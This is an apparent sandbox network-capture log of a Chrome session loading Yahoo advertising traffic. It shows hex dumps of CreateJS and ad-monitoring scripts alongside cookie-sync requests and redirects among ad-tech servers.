2024-04-27 22:42:16 UTC	1255	IN	Data Raw: 6e 74 54 61 72 67 65 74 3d 74 68 69 73 7d 63 61 74 63 68 28 66 29 7b 7d 74 72 79 7b 61 2e 65 76 65 6e 74 50 68 61 73 65 3d 30 7c 62 7d 63 61 74 63 68 28 66 29 7b 7d 61 2e 72 65 6d 6f 76 65 64 3d 21 31 2c 64 3d 64 2e 73 6c 69 63 65 28 29 3b 66 6f 72 28 76 61 72 20 67 3d 30 3b 63 3e 67 26 26 21 61 2e 69 6d 6d 65 64 69 61 74 65 50 72 6f 70 61 67 61 74 69 6f 6e 53 74 6f 70 70 65 64 3b 67 2b 2b 29 7b 76 61 72 20 68 3d 64 5b 67 5d 3b 68 2e 68 61 6e 64 6c 65 45 76 65 6e 74 3f 68 2e 68 61 6e 64 6c 65 45 76 65 6e 74 28 61 29 3a 68 28 61 29 2c 61 2e 72 65 6d 6f 76 65 64 26 26 28 74 68 69 73 2e 6f 66 66 28 61 2e 74 79 70 65 2c 68 2c 31 3d 3d 62 29 2c 61 2e 72 65 6d 6f 76 65 64 3d 21 31 29 7d 7d 32 3d 3d 3d 62 26 26 74 68 69 73 2e 5f 64 69 73 70 61 74 63 68 45 76 65 Data Ascii: ntTarget=this}catch(f){}try{a.eventPhase=0\|b}catch(f){}a.removed=!1,d=d.slice();for(var g=0;c>g&&!a.immediatePropagationStopped;g++){var h=d[g];h.handleEvent?h.handleEvent(a):h(a),a.removed&&(this.off(a.type,h,1==b),a.removed=!1)}}2===b&&this._dispatchEve
2024-04-27 22:42:16 UTC	1255	IN	Data Raw: 2c 61 2e 73 65 74 46 50 53 3d 63 72 65 61 74 65 6a 73 2e 64 65 70 72 65 63 61 74 65 28 61 2e 5f 73 65 74 46 50 53 2c 22 54 69 63 6b 65 72 2e 73 65 74 46 50 53 22 29 2c 61 2e 5f 67 65 74 46 50 53 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 31 65 33 2f 61 2e 5f 69 6e 74 65 72 76 61 6c 7d 2c 61 2e 67 65 74 46 50 53 3d 63 72 65 61 74 65 6a 73 2e 64 65 70 72 65 63 61 74 65 28 61 2e 5f 67 65 74 46 50 53 2c 22 54 69 63 6b 65 72 2e 67 65 74 46 50 53 22 29 3b 74 72 79 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 61 2c 7b 69 6e 74 65 72 76 61 6c 3a 7b 67 65 74 3a 61 2e 5f 67 65 74 49 6e 74 65 72 76 61 6c 2c 73 65 74 3a 61 2e 5f 73 65 74 49 6e 74 65 72 76 61 6c 7d 2c 66 72 61 6d 65 72 61 74 65 3a 7b 67 65 74 3a 61 2e 5f 67 Data Ascii: ,a.setFPS=createjs.deprecate(a._setFPS,"Ticker.setFPS"),a._getFPS=function(){return 1e3/a._interval},a.getFPS=createjs.deprecate(a._getFPS,"Ticker.getFPS");try{Object.defineProperties(a,{interval:{get:a._getInterval,set:a._setInterval},framerate:{get:a._g
2024-04-27 22:42:16 UTC	1255	IN	Data Raw: 54 69 6d 65 7c 7c 61 2e 5f 73 74 61 72 74 54 69 6d 65 29 2d 28 62 3f 61 2e 5f 70 61 75 73 65 64 54 69 6d 65 3a 30 29 3a 2d 31 7d 2c 61 2e 67 65 74 54 69 63 6b 73 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 61 2e 5f 74 69 63 6b 73 2d 28 62 3f 61 2e 5f 70 61 75 73 65 64 54 69 63 6b 73 3a 30 29 7d 2c 61 2e 5f 68 61 6e 64 6c 65 53 79 6e 63 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 5f 74 69 6d 65 72 49 64 3d 6e 75 6c 6c 2c 61 2e 5f 73 65 74 75 70 54 69 63 6b 28 29 2c 61 2e 5f 67 65 74 54 69 6d 65 28 29 2d 61 2e 5f 6c 61 73 74 54 69 6d 65 3e 3d 2e 39 37 2a 28 61 2e 5f 69 6e 74 65 72 76 61 6c 2d 31 29 26 26 61 2e 5f 74 69 63 6b 28 29 7d 2c 61 2e 5f 68 61 6e 64 6c 65 52 41 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 61 2e 5f 74 69 6d 65 72 49 64 3d Data Ascii: Time\|\|a._startTime)-(b?a._pausedTime:0):-1},a.getTicks=function(b){return a._ticks-(b?a._pausedTicks:0)},a._handleSynch=function(){a._timerId=null,a._setupTick(),a._getTime()-a._lastTime>=.97*(a._interval-1)&&a._tick()},a._handleRAF=function(){a._timerId=
2024-04-27 22:42:16 UTC	1255	IN	Data Raw: 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6d 73 4e 6f 77 7c 7c 63 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 6f 4e 6f 77 7c 7c 63 2e 70 65 72 66 6f 72 6d 61 6e 63 65 2e 77 65 62 6b 69 74 4e 6f 77 3b 61 2e 5f 67 65 74 54 69 6d 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 28 64 26 26 64 2e 63 61 6c 6c 28 63 2e 70 65 72 66 6f 72 6d 61 6e 63 65 29 7c 7c 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 29 2d 61 2e 5f 73 74 61 72 74 54 69 6d 65 7d 2c 63 72 65 61 74 65 6a 73 2e 54 69 63 6b 65 72 3d 61 7d 28 29 2c 74 68 69 73 2e 63 72 65 61 74 65 6a 73 3d 74 68 69 73 2e 63 72 65 61 74 65 6a 73 7c 7c 7b 7d 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 61 28 61 29 7b 74 68 69 73 2e 72 65 61 64 79 Data Ascii: performance.msNow\|\|c.performance.oNow\|\|c.performance.webkitNow;a._getTime=function(){return(d&&d.call(c.performance)\|\|(new Date).getTime())-a._startTime},createjs.Ticker=a}(),this.createjs=this.createjs\|\|{},function(){"use strict";function a(a){this.ready
2024-04-27 22:42:16 UTC	1255	IN	Data Raw: 74 54 61 72 67 65 74 2e 67 6c 6f 62 61 6c 54 6f 4c 6f 63 61 6c 28 74 68 69 73 2e 72 61 77 58 2c 74 68 69 73 2e 72 61 77 59 29 2e 78 7d 2c 62 2e 5f 67 65 74 5f 6c 6f 63 61 6c 59 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 2e 67 6c 6f 62 61 6c 54 6f 4c 6f 63 61 6c 28 74 68 69 73 2e 72 61 77 58 2c 74 68 69 73 2e 72 61 77 59 29 2e 79 7d 2c 62 2e 5f 67 65 74 5f 69 73 54 6f 75 63 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 2d 31 21 3d 3d 74 68 69 73 2e 70 6f 69 6e 74 65 72 49 44 7d 3b 74 72 79 7b 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 28 62 2c 7b 6c 6f 63 61 6c 58 3a 7b 67 65 74 3a 62 2e 5f 67 65 74 5f 6c 6f 63 61 6c 58 7d 2c 6c 6f 63 61 6c 59 3a 7b 67 Data Ascii: tTarget.globalToLocal(this.rawX,this.rawY).x},b._get_localY=function(){return this.currentTarget.globalToLocal(this.rawX,this.rawY).y},b._get_isTouch=function(){return-1!==this.pointerID};try{Object.defineProperties(b,{localX:{get:b._get_localX},localY:{g
2024-04-27 22:42:16 UTC	1255	IN	Data Raw: 62 3d 62 2a 67 2b 64 2a 74 68 69 73 2e 62 2c 74 68 69 73 2e 63 3d 61 2a 68 2b 63 2a 74 68 69 73 2e 64 2c 74 68 69 73 2e 64 3d 62 2a 68 2b 64 2a 74 68 69 73 2e 64 2c 74 68 69 73 2e 74 78 3d 61 2a 69 2b 63 2a 74 68 69 73 2e 74 79 2b 65 2c 74 68 69 73 2e 74 79 3d 62 2a 69 2b 64 2a 74 68 69 73 2e 74 79 2b 66 2c 74 68 69 73 7d 2c 62 2e 61 70 70 65 6e 64 4d 61 74 72 69 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 61 70 70 65 6e 64 28 61 2e 61 2c 61 2e 62 2c 61 2e 63 2c 61 2e 64 2c 61 2e 74 78 2c 61 2e 74 79 29 7d 2c 62 2e 70 72 65 70 65 6e 64 4d 61 74 72 69 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 65 70 65 6e 64 28 61 2e 61 2c 61 2e 62 2c 61 2e 63 2c 61 2e 64 2c 61 2e 74 78 2c 61 2e 74 Data Ascii: b=bg+dthis.b,this.c=ah+cthis.d,this.d=bh+dthis.d,this.tx=ai+cthis.ty+e,this.ty=bi+dthis.ty+f,this},b.appendMatrix=function(a){return this.append(a.a,a.b,a.c,a.d,a.tx,a.ty)},b.prependMatrix=function(a){return this.prepend(a.a,a.b,a.c,a.d,a.tx,a.t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
411	192.168.2.4	50270	68.70.205.3	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:15 UTC	581	OUT	GET /js/mntr.min.2.11.0.js HTTP/1.1 Host: ajs.a47b.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:42:16 UTC	723	IN	HTTP/1.1 200 OK Server: keycdn Date: Sat, 27 Apr 2024 22:42:15 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close Last-Modified: Thu, 22 Feb 2024 20:49:01 GMT ETag: W/"4e150dc76e13e3fbe67d1560ae060774" x-amz-server-side-encryption: AES256 X-Cache: Miss from cloudfront Via: 1.1 69d1fa5e076e71f2d4b957dec774cb8a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD55-P1 X-Amz-Cf-Id: 2P0MSpM84MqY101R9r5hr_EQgnQjQK_gyGE6XuNmvY9Kfp9z0XErNg== Expires: Sat, 04 May 2024 22:42:15 GMT Cache-Control: max-age=604800 Link: <https://d1f2slwspe4t13.cloudfront.net/js/mntr.min.2.11.0.js>; rel="canonical" X-Cache: HIT X-Edge-Location: usny Access-Control-Allow-Origin: *
2024-04-27 22:42:16 UTC	7469	IN	Data Raw: 35 65 63 35 0d 0a 66 75 6e 63 74 69 6f 6e 20 5f 6f 62 6a 65 63 74 53 70 72 65 61 64 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 31 3b 74 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 74 2b 2b 29 7b 76 61 72 20 69 3d 6e 75 6c 6c 21 3d 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 74 5d 3a 7b 7d 2c 72 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 69 29 3b 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 26 26 28 72 3d 72 2e 63 6f 6e 63 61 74 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 69 29 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 Data Ascii: 5ec5function _objectSpread(e){for(var t=1;t<arguments.length;t++){var i=null!=arguments[t]?arguments[t]:{},r=Object.keys(i);'function'==typeof Object.getOwnPropertySymbols&&(r=r.concat(Object.getOwnPropertySymbols(i).filter(function(e){return Object.get
2024-04-27 22:42:16 UTC	8192	IN	Data Raw: 74 2c 64 6f 63 43 6c 69 65 6e 74 57 69 64 74 68 3a 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 57 69 64 74 68 7d 7d 2c 76 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 2c 72 29 7b 76 61 72 20 61 3d 7b 62 61 73 65 64 4f 6e 46 75 6e 63 74 69 6f 6e 61 6c 69 74 79 3a 72 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 72 65 74 75 72 6e 2f 63 6f 6e 73 74 72 75 63 74 6f 72 2f 69 2e 74 65 73 74 28 65 2e 48 54 4d 4c 45 6c 65 6d 65 6e 74 29 7c 7c 27 5b 6f 62 6a 65 63 74 20 53 61 66 61 72 69 52 65 6d 6f 74 65 4e 6f 74 69 66 69 63 61 74 69 6f 6e 5d 27 3d 3d 3d 28 21 65 2e 73 61 66 61 72 69 7c 7c 76 6f 69 64 20 30 21 3d 3d 65 2e 73 61 66 61 72 69 26 26 65 2e 73 61 66 61 72 69 2e 70 75 73 68 4e 6f 74 69 66 69 63 61 74 69 6f 6e 29 2e 74 6f Data Ascii: t,docClientWidth:t.documentElement.clientWidth}},v=function(e,t,i,r){var a={basedOnFunctionality:r[function(e,t,i){return/constructor/i.test(e.HTMLElement)\|\|'[object SafariRemoteNotification]'===(!e.safari\|\|void 0!==e.safari&&e.safari.pushNotification).to
2024-04-27 22:42:16 UTC	8192	IN	Data Raw: 45 6c 73 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 45 28 74 2e 6d 75 6c 74 52 65 73 70 45 6c 73 5b 6e 5d 2c 61 29 3b 66 6f 72 28 76 61 72 20 73 3d 7b 70 61 64 64 69 6e 67 3a 27 36 70 78 27 2c 62 6f 72 64 65 72 3a 27 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 27 2c 62 61 63 6b 67 72 6f 75 6e 64 3a 27 23 66 66 66 27 2c 66 6f 6e 74 53 69 7a 65 3a 27 31 34 70 78 27 2c 74 65 78 74 41 6c 69 67 6e 3a 27 63 65 6e 74 65 72 27 2c 62 6f 72 64 65 72 52 61 64 69 75 73 3a 27 32 30 70 78 27 7d 2c 6f 3d 30 3b 6f 3c 74 2e 6d 75 6c 74 52 65 73 70 41 6e 73 45 6c 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 45 28 74 2e 6d 75 6c 74 52 65 73 70 41 6e 73 45 6c 73 5b 6f 5d 2c 73 29 3b 45 28 74 2e 64 69 73 63 6c 61 69 6d 65 72 45 6c 2c 7b 70 6f 73 69 74 69 6f 6e 3a 27 61 62 73 6f 6c 75 74 65 Data Ascii: Els.length;n++)E(t.multRespEls[n],a);for(var s={padding:'6px',border:'1px solid #ccc',background:'#fff',fontSize:'14px',textAlign:'center',borderRadius:'20px'},o=0;o<t.multRespAnsEls.length;o++)E(t.multRespAnsEls[o],s);E(t.disclaimerEl,{position:'absolute
2024-04-27 22:42:16 UTC	421	IN	Data Raw: 26 26 30 21 3d 3d 74 5b 6f 5d 2e 70 63 26 26 6e 28 6c 29 7d 7d 28 50 2e 63 66 67 2e 75 73 72 4d 74 63 68 50 78 2c 50 2e 63 66 67 2e 65 78 74 72 6e 6c 50 72 74 6e 72 73 2c 50 2e 63 66 67 2e 61 6e 61 6c 79 74 69 63 73 55 72 6c 2c 50 2e 73 74 61 74 65 2e 73 65 73 73 69 6f 6e 2e 76 61 6c 2c 50 2e 73 74 61 74 65 2e 61 61 6d 53 6e 69 70 70 65 74 2e 76 61 6c 2c 50 2e 66 75 6e 2e 72 61 77 50 69 78 65 6c 46 69 72 65 2c 50 2e 73 65 74 74 69 6e 67 73 2e 74 65 73 74 29 2c 50 2e 73 65 74 74 69 6e 67 73 2e 74 65 73 74 26 26 28 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 41 5b 50 2e 63 66 67 2e 67 6c 6f 62 50 72 65 66 69 78 5d 29 2c 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 50 29 2c 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 41 29 2c 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 52 2e 73 65 6c 66 29 Data Ascii: &&0!==t[o].pc&&n(l)}}(P.cfg.usrMtchPx,P.cfg.extrnlPrtnrs,P.cfg.analyticsUrl,P.state.session.val,P.state.aamSnippet.val,P.fun.rawPixelFire,P.settings.test),P.settings.test&&(console.log(A[P.cfg.globPrefix]),console.log(P),console.log(A),console.log(R.self)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
412	192.168.2.4	50277	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:15 UTC	1926	OUT	GET /setuid?bidder=yieldmo&f=i&uid=VcJnSSSXXnSq19AL9kSQ&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwic292cm4iOnsidWlkIjoiS [TRUNCATED]
2024-04-27 22:42:16 UTC	1263	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiIxNDc2MDU4Mzk2ODUwMTU4MDYxIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTAuNzcyNzc5NjkxWiJ9LCJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifSwic292cm4iOnsidWlkIjoiSWtFU0FUWkg4MV9GYXB2elJ4R1FROHJ1IiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTEuODA0NjczMzE3WiJ9LCJ0dGQiOnsidWlkIjoiNDNlN2RjOGUtNTQ1OC00Mzc1LWJlNGEtNjQ0NzM3ZWQ0ZGJkIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MDkuMTczMDU5NzYxWiJ9LCJ5aWVsZG1vIjp7InVpZCI6IlZjSm5TU1NYWG5TcTE5QUw5a1NRIiwiZXhwaXJlcyI6IjIwMjQtMDUtMTFUMjI6NDI6MTUuOTgwMDY3NTgyWiJ9fX0=; Path=/; Domain=pbs.yahoo.com; Expires=Sat, 26 Oct 2024 22:42:15 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Sat, 27 Apr 2024 22:42:15 GMT x-envoy-upstream-service-time: 2 server: ATS x-envoy-decorator-operation: pbs--production-usea5.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/* Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-04-27 22:42:16 UTC	178	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-04-27 22:42:16 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
413	192.168.2.4	50261	52.223.40.198	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	713	OUT	GET /track/cmf/rubicon?gdpr=0&us_privacy=1YNN HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eus.rubiconproject.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAEYBSABKAIyCwiQndbuv8XzPBAFOAE.
2024-04-27 22:42:16 UTC	576	IN	HTTP/1.1 302 Found Date: Sat, 27 Apr 2024 22:42:16 GMT Content-Length: 289 Connection: close server: Kestrel location: https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=43e7dc8e-5458-4375-be4a-644737ed4dbd&gdpr=0&gdpr_consent=&expires=30 set-cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; expires=Sun, 27 Apr 2025 22:42:16 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFgoHcnViaWNvbhILCOTVj6KqxfM8EAUYBSACKAIyCwiQndbuv8XzPBAFOAE.; expires=Sun, 27 Apr 2025 22:42:16 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-27 22:42:16 UTC	289	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 74 61 70 2e 70 68 70 3f 76 3d 38 39 38 31 26 6e 69 64 3d 32 33 30 37 26 70 75 74 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 37 33 37 65 64 34 64 62 64 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 65 78 70 69 72 65 73 3d 33 30 22 3e 68 74 74 70 73 3a 2f 2f 70 69 78 65 6c 2e 72 75 62 69 63 6f 6e 70 72 6f 6a 65 63 74 2e 63 6f 6d 2f 74 61 70 2e 70 68 70 3f 76 3d 38 39 38 31 26 6e 69 64 3d 32 33 30 37 26 70 75 74 3d 34 33 65 37 64 63 38 65 2d 35 34 35 38 2d 34 33 37 35 2d 62 65 34 61 2d 36 34 34 37 33 37 65 64 34 64 62 64 26 67 Data Ascii: Redirecting to: <a href="https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=43e7dc8e-5458-4375-be4a-644737ed4dbd&gdpr=0&gdpr_consent=&expires=30">https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=43e7dc8e-5458-4375-be4a-644737ed4dbd&g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
414	192.168.2.4	50267	35.212.133.238	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:16 UTC	852	OUT	GET /sync?ssp=criteo&custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q&gdpr=&gdpr_consent=&us_privacy=1YNN&cr_user_id=k-rU5q5aqp_dM1H477xpJOVC4AuDhGElh6cWs14g HTTP/1.1 Host: x.bidswitch.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssp-sync.criteo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; tuuid_lu=1714257731
2024-04-27 22:42:16 UTC	557	IN	HTTP/1.1 302 Moved Temporarily Server: nginx Date: Sat, 27 Apr 2024 22:42:16 GMT Content-Length: 0 Connection: close Cache-Control: no-cache, no-store, must-revalidate Location: //dis.criteo.com/dis/usersync.aspx?r=25&p=52&dis=0&gdpr=&gdpr_consent=&url=https%3A%2F%2Fx.bidswitch.net%2Fsync%3Fdsp_id%3D462%26ssp%3Dcriteo%26user_id%3D%40%40CRITEO_USERID%40%40 Set-Cookie: custom_data=ksqvgV83WEJQamtiZXNGYTQwT2NpRmJBcjQyRFBWOG9BMkhlSHAlMkZ1ckREM3BkQ00lM0Q; path=/; expires=Sat, 27-Apr-2024 22:47:16 GMT; domain=.bidswitch.net; samesite=none; secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
415	192.168.2.4	50275	68.67.179.164	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
